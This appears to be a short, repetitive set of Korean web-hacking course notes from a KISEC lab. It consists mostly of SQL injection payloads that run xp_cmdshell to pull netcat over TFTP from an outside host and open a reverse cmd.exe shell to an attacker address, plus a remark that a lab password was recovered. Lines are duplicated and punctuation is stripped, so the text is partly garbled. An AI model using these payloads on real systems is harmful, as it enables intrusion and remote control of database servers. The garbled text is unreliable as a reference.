$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19